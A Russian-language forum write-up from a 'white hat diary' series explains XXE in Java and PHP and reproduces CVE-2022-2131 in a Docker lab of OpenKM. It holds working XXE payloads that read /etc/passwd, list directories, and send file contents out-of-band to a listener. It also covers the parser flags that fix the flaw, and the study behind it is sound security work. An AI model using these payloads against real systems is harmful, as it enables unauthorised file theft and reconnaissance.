D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
./reader.setFeature("Coffeeshop xack", true);
В последние дни я делаю всё возможное, чтобы не трогать тему десериализации. Она одновременно понятна и непонятна, поэтому в этот раз темой будет XXE в Java-приложении. Также скажу вам такое: со временем вопросы в моей голове увеличиваются, и они не что-то типа "Какой диаметр Луны?", а больше типа "Почему Луна на нас не падает?" (в техническом смысле, конечно).Для тех, кому интересно, я всё ещё пью кофе и пишу статьи в кофешопах — это уже традиция xD
Статья для тех, кто уже знаком с XXE, если вы не знакомы ->
https://www.youtube.com/watch?v=k6hAGcHIiNA
Практика ->
https://portswigger.net/web-security/xxe
Спойлер: Ссылки на предыдущие части дневника
- Паутина
- Дневник белой шляпы [Часть 1]: не DDoS
- Дневник белой шляпы [Часть 2]: Интервью [GraphQL]
- Дневник белой шляпы [Часть 3]: Cтажировкa [File Inclusion (Remote / Local)]
- Дневник белой шляпы [Часть 5]: Удачная догадка [RCE - Проверка простейших CVE, найденных в PHP-приложениях]
- Дневник белой шляпы [Часть 6]: Сообщение [Websockets + Tool]
- Дневник белой шляпы [Часть 7]: Ничего [JWT]
- Дневник белой шляпы [Часть 9]: Сертификат [eWPT]
- Дневник белой шляпы [Часть 10]: Когда уязвимостей нет / История с крестиком
- ОС
- OSINT
- Exploit / AppSec
- Чем отличаются внутренние сущности от внешних в XML?
- В чем различие между публичной и частной внешними сущностями?
- Чем отличается обработка XML в PHP от Java с точки зрения XXE?
- Что означает функция reader.setFeature() в контексте защиты от XXE?
Что нам известно об уязвимости?
Код: Скопировать в буфер обмена
Код:
Парсер XMLReader в файле XMLTextExtractor.java не содержит необходимых флагов безопасности, что позволяет злоумышленнику выполнить атаку на основе внедрения внешних сущностей XML (XXE).
(c) incibe-cert.es
Commit: https://github.com/openkm/document-management-system/commit/85a3a8fed0d2963082e7c5662c64fe6a590f97f1
Код: Скопировать в буфер обмена
Код:
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/validation", false);
Из-за отсутствия указанных фич, был возможен XXE.
Что такое ХХЕ и чем ХХЕ в пхп отличается от того что в джаве?
XXE (XML External Entity) — это уязвимость, которая позволяет злоумышленнику вмешиваться в обработку XML приложением. XXE возникает, когда XML-ввод ссылается на внешнюю сущность, и этот ввод обрабатывается парсером XML с недостаточной настройкой безопасности. Опасности могут быть от чтения файлов до RCE, в зависимости от используемого ЯП, БД и т.п.Основное отличие XXE в Java и PHP заключается в реализации XML-парсера и в том, как обе среды обрабатывают XML-ввод.
XXE в целом
DTD (Document Type Definition) — это определение типа документа, которое используется для описания структуры XML-документа. Оно определяет, какие элементы и атрибуты допустимы в XML-документе, а также их иерархию. DTD может быть встроено в сам XML-документ или быть внешним файлом. В XML существует три основных типа сущностей: внутренние, внешние и параметрические.Внутренние сущности определяются локально внутри DTD (Document Type Definition). Они служат для сокращения повторяющихся текстовых фрагментов. Общий формат внутренней сущности выглядит следующим образом:
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ELEMENT root ANY>
<!ENTITY internal "Внутренние данные">
]>
<root>&internal;</root>
Внутренние данные -> значение сущности
Ответ:
Код: Скопировать в буфер обмена
Код:
object{2}
->?xml:
->root:Внутренние данные
Частные внешние сущности объявляются с использованием ключевого слова SYSTEM и предназначены для использования в пределах одного пользователя или системы. Пример частной внешней сущности:
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0"?>
<!DOCTYPE sushnost SYSTEM "http://example.com/private.dtd">
<root></root>
Код: Скопировать в буфер обмена
<!ENTITY % file SYSTEM "file:///etc/passwd">
Публичные внешние сущности предназначены для широкого использования и объявляются с использованием ключевого слова PUBLIC:
Код: Скопировать в буфер обмена
<!ENTITY sushnost PUBLIC "-//W3C//DTD XML 1.0//EN" "http://www.example.com/public.dtd">
Ключевое слово PUBLIC и идентификатор public_id позволяют XML-парсерам использовать альтернативные URI для доступа к сущности.
Какая разница между публичной и частной внешней сущности?
Посмотрев на них, мы видим, что в обоих случаях это ссылки. Сперва нужно понять, что происходит, когда парсер принимает публичную внешнюю сущность.
Если сущность публичная, парсер извлекает публичный и системный идентификатор. Публичный идентификатор: "-//W3C//DTD XML 1.0//EN". Системный идентификатор: "http://www.example.com/public.dtd".
Каталог — это набор файлов, который содержит сопоставления публичных идентификаторов и системных идентификаторов с локальными ресурсами. Парсер ищет в каталоге запись, соответствующую публичному идентификатору "-//W3C//DTD XML 1.0//EN". Пример записи в каталоге:
Код: Скопировать в буфер обмена
Код:
<?xml version="1.0" encoding="UTF-8"?>
<catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog">
<public
publicId="-//W3C//DTD XML 1.0//EN"
uri="file:///usr/local/share/xml/xml1.0.dtd"/>
</catalog>
Что будет если я вместо публичного идентификатора напишу каракули?
Публичный идентификатор следует определенному формату, установленному стандартом ISO 8879 (SGML).
Код: Скопировать в буфер обмена
{публичный_или_зарегистрированный_префикс}//{владелец}//{тип_ресурса} {название_ресурса}//{язык}
Префикс:
"-//": Указывает на неофициальный (незарегистрированный) идентификатор.
"+//": Указывает на официальный зарегистрированный идентификатор.
Владелец это имя организации или лица, ответственного за ресурс -> "W3C", "Microsoft", "MyCompany".
Тип ресурса yказывает на тип документа или ресурса -> "DTD", "ENTITIES", "ELEMENTS".
Название или версия ресурса -> "HTML 4.01", "MathML 2.0".
Языковой код yказывается в формате ISO 639-1 ->//EN
Частную сущность понять легче: он просто качает по ссылке — есть, значит есть, нет — значит нет. Там нет чего-то типа "проверю каталог, добавлю в каталог".
Параметрические сущности используются исключительно внутри DTD и помогают параметризовать определения DTD. Они объявляются с префиксом % и указываются с помощью
%
и ;
Код: Скопировать в буфер обмена
Код:
<!ENTITY % encoding "UTF-8">
<!ENTITY % docType "<!DOCTYPE rootElement SYSTEM 'file.dtd' [ %encoding; ]>">
%docType;
Неразбираемые внешние сущности используются для ссылок на данные, которые не являются XML-кодом, например, изображения или бинарные файлы. Чтобы указать парсеру не обрабатывать такие данные как XML, используется ключевое слово NDATA:
Код: Скопировать в буфер обмена
Код:
<!NOTATION jpeg SYSTEM "image/jpeg">
<!ENTITY logo SYSTEM "http://www.example.com/logo.jpg" NDATA jpeg>
Использование неразбираемых внешних сущностей позволяет XML-документам ссылаться на внешние ресурсы, не пытаясь интерпретировать их содержимое как XML. Можете забыть всё написанное выше, но не забывайте то что SYSTEM это внешная сущность.
XXE в Java
В Java-приложениях для обработки XML используются XML-парсеры, такие как XMLReader, а также парсеры из популярных библиотек, таких как Apache Xerces или JAXP.По умолчанию некоторые из этих парсеров могут разрешать внешние DTD или сущности, что может привести к уязвимостям. Отключение функций, таких как загрузка внешних DTD или обработка внешних параметрических сущностей, как в патче выше, частично предотвращает уязвимость XXE в Java.
Код ниже прочитает файл /etc/passwd
Код: Скопировать в буфер обмена
Код:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import javax.xml.XMLConstants;
import org.xml.sax.InputSource;
import java.io.StringReader;
public class XXEExample {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE root ["
+ " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">"
+ "]>"
+ "<root>&xxe;</root>";
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
System.out.println(doc.getDocumentElement().getTextContent());
}
}
Код: Скопировать в буфер обмена
Код:
javac XXEExample.java
java XXEExample
Код: Скопировать в буфер обмена
Код:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://localhost:7777/?x=%file;'>">
%eval;
%exfiltrate;
Код: Скопировать в буфер обмена
python3 -m http.server 7777
Создаём файл XXEExample2.java
Код: Скопировать в буфер обмена
Код:
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import javax.xml.XMLConstants;
import org.xml.sax.InputSource;
import java.io.StringReader;
public class XXEExample2 {
public static void main(String[] args) throws Exception {
String xml = "<?xml version=\"1.0\"?>"
+ "<!DOCTYPE root [<!ENTITY % xxe SYSTEM \"http://localhost:7777/1.dtd\"> %xxe;]>"
+ "<root></root>";
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml)));
System.out.println(doc.getDocumentElement().getTextContent());
}
}
Код: Скопировать в буфер обмена
Код:
javac XXEExample2.java
java XXEExample2
Код: Скопировать в буфер обмена
:: - - [23/Oct/2014 13:29:09] "GET /?x=Kali HTTP/1.1" 200 -
xmlReader.setFeature() — это метод, который используется для управления различными аспектами поведения XML-парсера.
- http://apache.org/xml/features/nonvalidating/load-external-dtd: Этот флаг контролирует, будет ли парсер загружать внешние DTD.
- http://xml.org/sax/features/external-parameter-entities: Этот флаг предотвращает обработку внешних параметрических сущностей.
- http://xml.org/sax/features/external-general-entities: Аналогично параметрическим сущностям, отключение этой функции предотвращает разрешение парсером общих сущностей, которые могут ссылаться на внешние ресурсы.
- http://xml.org/sax/features/validation: Этот флаг управляет проверкой XML-документа на соответствие его DTD. Отключение проверки гарантирует, что внешние DTD, которые могут содержать вредоносные сущности, не будут обрабатываться.
Клёвая фишка Джавы
Написав file:///home, можно увидеть файлы и директории, которые находятся внутри /home. Довольно полезная штука для рекона.
XXE в PHP
PHP, с другой стороны, использует библиотеки, такие как libxml2, для обработки XML. По умолчанию libxml2 в PHP также может быть уязвима к XXE, если не настроена должным образом. Функции, такие как simplexml_load_string() или DOMDocument::loadXML(), часто используются для обработки XML в PHP.Ну окей, эта часть чуть смешная: чтобы код в PHP был уязвим к XXE, нужно вручную вставить это:
Код: Скопировать в буфер обмена
libxml_disable_entity_loader(false);
По умолчанию загрузка внешних объектов отключена(если в коде вообще libxml_disable_entity_loader не писать).
Код: Скопировать в буфер обмена
Код:
libxml_disable_entity_loader(false); // если убрать или поставить тру, код не будет уязвим
$xml = '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>';
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
echo $dom->textContent;
CVE-2022-2131
Поднимаем
В идеальном мире я бы предложил поднять последнюю версию самим, а после отредактировать и поменять "классы", но ночь потерянного времени (проблемы были с компиляцией после отредактирования) показало что лучше мне поднять через докер. Создаём конфиг файл, чтобы как БД работал HSQLDBКод: Скопировать в буфер обмена
Код:
cat OpenKM.cfg
# OpenKM Hibernate configuration values
hibernate.dialect=org.hibernate.dialect.HSQLDialect
hibernate.hbm2ddl=create
hibernate.connection.driver_class=org.hsqldb.jdbcDriver
hibernate.connection.username=sa
hibernate.connection.password=
# Logback configuration file
logback.config=logback.xml
Код: Скопировать в буфер обмена
docker run --name openkm-ce2 -p 8080:8080 -v /tmp/tmp/OpenKM.cfg:/opt/tomcat/OpenKM.cfg openkm/openkm-ce:6.3.9
Если откроете http://localhost:8080 у вас будет панель, там юзернейм okmAdmin, пароль admin. Если после входа у вас там загрузка не идёт, то очистите кеш или войдите через приват виндоу.
Умничаем
Давайте скопируем то что нам надо, от докера к намКод: Скопировать в буфер обмена
docker cp айди-контейнера:/opt/tomcat .
Внутри tomcat/webapps мы замечаем OpenKM.war
JAR-файлы (Java ARchive) представляют собой архивы, которые содержат скомпилированный код Java (файлы .class), библиотеки, ресурсы (изображения, файлы конфигураций) и метаданные, необходимые для работы приложения
WAR-файлы (Web Application ARchive) используются для упаковки веб-приложений, разрабатываемых на Java. WAR-файл может содержать JAR-файлы.
EAR-файлы (Enterprise ARchive) предназначены для крупных корпоративных Java-приложений, использующих Java EE (Java Enterprise Edition). Они могут содержать как JAR-файлы с бизнес-логикой, так и WAR-файлы для веб-интерфейса.
Мы можем открыть OpenKM.war через jd-gui (качайте если у вас нет)
Код: Скопировать в буфер обмена
java -jar ~/Downloads/jd-gui.jar .
Отключайте эти опции, чтобы не было ненужных комментов
Изображение [1]
Код: Скопировать в буфер обмена
SAXParserFactory|DOM4J|DocumentBuilderFactory|XMLInputFactory|TransformerFactory|javax\.xml\.validation\.Validator|SchemaFactory|SAXTransformerFactory|XMLReader|SAXBuilder|SAXReader|javax\.xml\.bind\.Unmarshaller|XPathExpression|DOMSource|StAXSource
\
Изображение [2]
XMLTextExtractor.java:
Код: Скопировать в буфер обмена
Код:
import com.openkm.extractor.AbstractTextExtractor;
import com.openkm.extractor.ExtractorHandler;
import java.io.CharArrayWriter;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xml.sax.ContentHandler;
import org.xml.sax.ErrorHandler;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
public class XMLTextExtractor extends AbstractTextExtractor {
private static final Logger logger = LoggerFactory.getLogger(com.openkm.extractor.XMLTextExtractor.class);
public XMLTextExtractor() {
super(new String[] { "text/xml", "application/xml", "application/vnd.scribus" });
}
public String extractText(InputStream stream, String type, String encoding) throws IOException {
try {
CharArrayWriter writer = new CharArrayWriter();
ExtractorHandler handler = new ExtractorHandler(writer);
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
XMLReader reader = parser.getXMLReader();
reader.setContentHandler((ContentHandler)handler);
reader.setErrorHandler((ErrorHandler)handler);
InputSource source = new InputSource((InputStream)new Object(this, stream));
if (encoding != null)
try {
Charset.forName(encoding);
source.setEncoding(encoding);
} catch (Exception e) {
logger.warn("Unsupported encoding '{}', using default ({}) instead.", new Object[] { encoding,
System.getProperty("file.encoding") });
}
reader.parse(source);
return writer.toString();
} catch (ParserConfigurationException e) {
logger.warn("Failed to extract XML text content", e);
throw new IOException(e.getMessage(), e);
} catch (SAXException e) {
logger.warn("Failed to extract XML text content", e);
throw new IOException(e.getMessage(), e);
} finally {
stream.close();
}
}
}
Оставлю код OpenOfficeTextExtractor.java если кто-то захочет прочитать:
Код: Скопировать в буфер обмена
Код:
import com.openkm.extractor.AbstractTextExtractor;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipInputStream;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xml.sax.ContentHandler;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
public class OpenOfficeTextExtractor extends AbstractTextExtractor {
private static final Logger logger = LoggerFactory.getLogger(com.openkm.extractor.OpenOfficeTextExtractor.class);
public OpenOfficeTextExtractor() {
super(new String[] { "application/vnd.oasis.opendocument.database", "application/vnd.oasis.opendocument.formula", "application/vnd.oasis.opendocument.graphics", "application/vnd.oasis.opendocument.presentation", "application/vnd.oasis.opendocument.spreadsheet", "application/vnd.oasis.opendocument.text", "application/vnd.sun.xml.calc", "application/vnd.sun.xml.draw", "application/vnd.sun.xml.impress", "application/vnd.sun.xml.writer" });
}
public String extractText(InputStream stream, String type, String encoding) throws IOException {
try {
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();
saxParserFactory.setValidating(false);
SAXParser saxParser = saxParserFactory.newSAXParser();
XMLReader xmlReader = saxParser.getXMLReader();
xmlReader.setFeature("http://xml.org/sax/features/validation", false);
xmlReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
ZipInputStream zis = new ZipInputStream(stream);
ZipEntry ze = zis.getNextEntry();
while (ze != null && !ze.getName().equals("content.xml"))
ze = zis.getNextEntry();
OpenOfficeContentHandler contentHandler = new OpenOfficeContentHandler(this);
xmlReader.setContentHandler((ContentHandler)contentHandler);
try {
xmlReader.parse(new InputSource(zis));
} finally {
zis.close();
}
return contentHandler.getContent();
} catch (ParserConfigurationException e) {
logger.warn("Failed to extract OpenOffice text content", e);
throw new IOException(e.getMessage(), e);
} catch (SAXException e) {
logger.warn("Failed to extract OpenOffice text content", e);
throw new IOException(e.getMessage(), e);
} finally {
stream.close();
}
}
}
Изображение [3]
Код: Скопировать в буфер обмена
Код:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
Изображение [4]
В числе файлов vscode есть HTMLTextExtractor.java:
Код: Скопировать в буфер обмена
Код:
package WEB-INF.classes.com.openkm.extractor;
import com.openkm.extractor.AbstractTextExtractor;
import com.openkm.extractor.HTMLParser;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.sax.SAXResult;
import javax.xml.transform.sax.SAXSource;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.xml.sax.InputSource;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
public class HTMLTextExtractor extends AbstractTextExtractor {
private static final Logger logger = LoggerFactory.getLogger(com.openkm.extractor.HTMLTextExtractor.class);
public HTMLTextExtractor() {
super(new String[] { "text/html" });
}
public String extractText(InputStream stream, String type, String encoding) throws IOException {
try {
Reader reader;
TransformerFactory factory = TransformerFactory.newInstance();
Transformer transformer = factory.newTransformer();
HTMLParser parser = new HTMLParser();
SAXResult result = new SAXResult(new DefaultHandler());
if (encoding != null) {
reader = new InputStreamReader(stream, encoding);
} else {
reader = new InputStreamReader(stream);
}
SAXSource source = new SAXSource((XMLReader)parser, new InputSource(reader));
transformer.transform(source, result);
return parser.getContents();
} catch (TransformerConfigurationException e) {
logger.warn("Failed to extract HTML text content", e);
throw new IOException(e.getMessage(), e);
} catch (TransformerException e) {
logger.warn("Failed to extract HTML text content", e);
throw new IOException(e.getMessage(), e);
} finally {
stream.close();
}
}
}
Код: Скопировать в буфер обмена
SAXSource source = new SAXSource((XMLReader)parser, new InputSource(reader));
Но так как выше используется HTMLParser и поскольку он специализируется на HTML, он не обрабатывает XML DTD или внешние объекты.
Я не смог найти HTML пэйлоад (в списках нет), на случай если в будущем будет что-то типа HTML->XML, попробуйте это:
Код: Скопировать в буфер обмена
Код:
<pre>
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
</pre>
RCE
В этом случаи, именно через эту уявимость, с этой конфигурацией, возможности не вижу. Дело в том что, в конфигурации, hsqldbхранится в памяти и нельзя подключиться внешне, если бы было можно, то была бы возможность RCE. Также я не увидел данные от юзер/пасс БД в какой то конфигурации (есть файлы .db но они большие так что их не отркоешь через XXE), из-за этого и выбрал hsqldb, там по дефолту юзер SA , а пароль пустота (у пустоты есть мд5)Также лист файлов тогда помог бы, тк у hsqldb в конфигурации хранятся данные, в отличии от остальных установок ОпенКМ (не увидел у других). На будущее, лист файлов/дирекотрий делаете так:
Код: Скопировать в буфер обмена
Код:
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "file:///opt/tomcat"> ]>
<data>&example;</data>
Код: Скопировать в буфер обмена
Код:
conf
lib
LICENSE
LICENSE.txt
logback.xml
logs
NOTICE
OpenKM.cfg
OpenKM.xml
OPENKM-README.txt
PropertyGroups.xml
RELEASE-NOTES
repository
RUNNING.txt
temp
THIRD-PARTY.txt
webapps
work